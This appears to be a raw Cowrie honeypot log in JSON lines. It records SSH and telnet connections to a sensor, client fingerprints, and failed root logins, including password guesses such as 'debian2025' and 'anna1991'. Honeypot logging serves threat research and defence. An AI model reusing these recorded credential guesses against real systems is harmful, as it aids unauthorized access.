{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd28b484cfe","protocol":"ssh","message":"New connection: 209.90.232.249:43916 (10.17.0.5:22) [session: 6dd28b484cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.195345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.201218Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.275765Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:57:cd:5e:3d:5a:1d:c9:86:75:26:99:18:c5:30:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaFBRg07HJQqZSQ6o+W+wf0K5S9sU5uyRaSA8AKMYrMl0/kF2EE+JNVvsWr1gL0ZyFjQwjH7En4gwqVongoIXYixk3EcdzFHz6eUJ1p4kowLEEUcVz7mBvX21qbDs7T0i74QI/o/LIQG257I12y1COktT5A3+anV38DPpHJ0g2LlkOs33VtXY/ibBVejkZmRVwerBPtORETtyRutwa2AxETE60tMoYJ/aQkArfSTbYUmybM3K1l2tUv+XmWqevGD5pfRG52ydeU9j+ccxL3zenQaGyNl/KcKdiY9S7YjsEMxFY0Ju7BY5qBMk5XlGJzEXXPimFgc4U3WRUELGay2PB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:57:cd:5e:3d:5a:1d:c9:86:75:26:99:18:c5:30:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.616120Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:57:cd:5e:3d:5a:1d:c9:86:75:26:99:18:c5:30:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaFBRg07HJQqZSQ6o+W+wf0K5S9sU5uyRaSA8AKMYrMl0/kF2EE+JNVvsWr1gL0ZyFjQwjH7En4gwqVongoIXYixk3EcdzFHz6eUJ1p4kowLEEUcVz7mBvX21qbDs7T0i74QI/o/LIQG257I12y1COktT5A3+anV38DPpHJ0g2LlkOs33VtXY/ibBVejkZmRVwerBPtORETtyRutwa2AxETE60tMoYJ/aQkArfSTbYUmybM3K1l2tUv+XmWqevGD5pfRG52ydeU9j+ccxL3zenQaGyNl/KcKdiY9S7YjsEMxFY0Ju7BY5qBMk5XlGJzEXXPimFgc4U3WRUELGay2PB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.620313Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpz682EsbLZj+vyuaR0KcXdzulEyX/x/3NMkvmPuRFpjp1tPpweuLugugJqjIeHntYmUmCllE+MTtDB7ZNo8YI1vyqIomkmaKBW06Ur6r8XhAGB5j75d2Ij3EontZE0OhiRko2CM+dYC6ySOQpuHpfNRZ34J73n+WXzsLTEiNsfs4HFZT7TIg4hH3C7Xsz+ZPGh7UaD1d3BXoN9kQQNFoKjoqGvq00EW+8NngTpFrHl64j8XYo/mGh3OuKQuGD77lMUfHggtl8bejMvgGYbhbQs7PTab8cRuMrl6tnPVo9HvdPPpNH/QH30IX9YLMMv1gc0gJUcra9So0fc07KjEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.694394Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpz682EsbLZj+vyuaR0KcXdzulEyX/x/3NMkvmPuRFpjp1tPpweuLugugJqjIeHntYmUmCllE+MTtDB7ZNo8YI1vyqIomkmaKBW06Ur6r8XhAGB5j75d2Ij3EontZE0OhiRko2CM+dYC6ySOQpuHpfNRZ34J73n+WXzsLTEiNsfs4HFZT7TIg4hH3C7Xsz+ZPGh7UaD1d3BXoN9kQQNFoKjoqGvq00EW+8NngTpFrHl64j8XYo/mGh3OuKQuGD77lMUfHggtl8bejMvgGYbhbQs7PTab8cRuMrl6tnPVo9HvdPPpNH/QH30IX9YLMMv1gc0gJUcra9So0fc07KjEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.700418Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:dd:96:4c:24:00:eb:93:82:50:39:0b:8c:dd:53:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnj8sLnU32116yr5V3sM1JSkV3+biDpbzIAudoVDAl8aqtqGDskGwCfm3Ui1L2/InUJWb/oLXHsCDsRLi6LgziQaiUYF9C+06j8YxAHsDPlUaDViOZRMeF/FffBJCtlfPoQBEfJEF9XnT0gs4sQTTl615E357ioYUt8GW5H46qkGsa5DyrLmZuC1OBoieKCw6wkcLhhHKbDVHZ1Ww7kIazSVIZ68MCZFi8sVbJUMLiHPsEjZTN8uCSxjjgIDOLjOKr5LRsZDZoWjuaaAsf2482JlKOg03q0orMhIdFs1MXEb7XMPawYZ3y9OOjMXm06BYUztb/A3u3kwta+DclRlIT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:dd:96:4c:24:00:eb:93:82:50:39:0b:8c:dd:53:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.780390Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:dd:96:4c:24:00:eb:93:82:50:39:0b:8c:dd:53:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnj8sLnU32116yr5V3sM1JSkV3+biDpbzIAudoVDAl8aqtqGDskGwCfm3Ui1L2/InUJWb/oLXHsCDsRLi6LgziQaiUYF9C+06j8YxAHsDPlUaDViOZRMeF/FffBJCtlfPoQBEfJEF9XnT0gs4sQTTl615E357ioYUt8GW5H46qkGsa5DyrLmZuC1OBoieKCw6wkcLhhHKbDVHZ1Ww7kIazSVIZ68MCZFi8sVbJUMLiHPsEjZTN8uCSxjjgIDOLjOKr5LRsZDZoWjuaaAsf2482JlKOg03q0orMhIdFs1MXEb7XMPawYZ3y9OOjMXm06BYUztb/A3u3kwta+DclRlIT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.784621Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:03:0d:84:93:ce:11:96:c3:b0:ea:aa:30:c4:9d:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDzgy7t9CQP/tCDrClPXjKmgXi8hA50MJXba59Xu1nMb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0f:03:0d:84:93:ce:11:96:c3:b0:ea:aa:30:c4:9d:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.857950Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:03:0d:84:93:ce:11:96:c3:b0:ea:aa:30:c4:9d:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDzgy7t9CQP/tCDrClPXjKmgXi8hA50MJXba59Xu1nMb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.862420Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIh+uy6kFBpR4wG0v6R4Fl1ltJKKjjnfls7jy9rb5/Kv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.936353Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIh+uy6kFBpR4wG0v6R4Fl1ltJKKjjnfls7jy9rb5/Kv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:48.941419Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:49.016843Z","src_ip":"209.90.232.249","session":"6dd28b484cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"f152d287993b","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: f152d287993b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:14.925287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:14.932326Z","src_ip":"23.97.62.150","session":"f152d287993b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:15.174413Z","src_ip":"23.97.62.150","session":"f152d287993b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian2025","message":"login attempt [root/debian2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:15.893265Z","src_ip":"23.97.62.150","session":"f152d287993b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:17.133095Z","src_ip":"23.97.62.150","session":"f152d287993b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52671,"dst_ip":"159.203.135.109","dst_port":23,"session":"83b1403d296a","protocol":"telnet","message":"New connection: 69.4.83.194:52671 (159.203.135.109:23) [session: 83b1403d296a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:30.962276Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":34150,"dst_ip":"10.17.0.5","dst_port":22,"session":"d207fd26291e","protocol":"ssh","message":"New connection: 103.172.78.219:34150 (10.17.0.5:22) [session: d207fd26291e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:39.643419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:39.649155Z","src_ip":"103.172.78.219","session":"d207fd26291e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:39.904772Z","src_ip":"103.172.78.219","session":"d207fd26291e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweetpea","message":"login attempt [root/sweetpea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:40.669467Z","src_ip":"103.172.78.219","session":"d207fd26291e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:41.928008Z","src_ip":"103.172.78.219","session":"d207fd26291e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":38410,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d33e404cab","protocol":"ssh","message":"New connection: 109.172.54.111:38410 (159.203.135.109:22) [session: 29d33e404cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:42.671911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:42.676779Z","src_ip":"109.172.54.111","session":"29d33e404cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:42.782496Z","src_ip":"109.172.54.111","session":"29d33e404cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lexa","message":"login attempt [root/lexa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:43.082432Z","src_ip":"109.172.54.111","session":"29d33e404cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:44.188922Z","src_ip":"109.172.54.111","session":"29d33e404cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.135.255.182","src_port":38028,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3cded20a68","protocol":"telnet","message":"New connection: 2.135.255.182:38028 (10.17.0.5:23) [session: 4c3cded20a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:26:51.842534Z"}
{"eventid":"cowrie.session.closed","duration":34.202571868896484,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:05.164718Z","src_ip":"69.4.83.194","session":"83b1403d296a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":54234,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee580dc91dd","protocol":"telnet","message":"New connection: 79.139.59.21:54234 (159.203.135.109:23) [session: dee580dc91dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:17.371706Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":54694,"dst_ip":"159.203.135.109","dst_port":22,"session":"41c41fe8528d","protocol":"ssh","message":"New connection: 103.82.20.28:54694 (159.203.135.109:22) [session: 41c41fe8528d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:23.978142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:23.986132Z","src_ip":"103.82.20.28","session":"41c41fe8528d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:24.246741Z","src_ip":"103.82.20.28","session":"41c41fe8528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1991","message":"login attempt [root/anna1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:25.025276Z","src_ip":"103.82.20.28","session":"41c41fe8528d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:26.295590Z","src_ip":"103.82.20.28","session":"41c41fe8528d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":50610,"dst_ip":"159.203.135.109","dst_port":22,"session":"a557d34f4c84","protocol":"ssh","message":"New connection: 62.133.63.178:50610 (159.203.135.109:22) [session: a557d34f4c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:45.330338Z"}
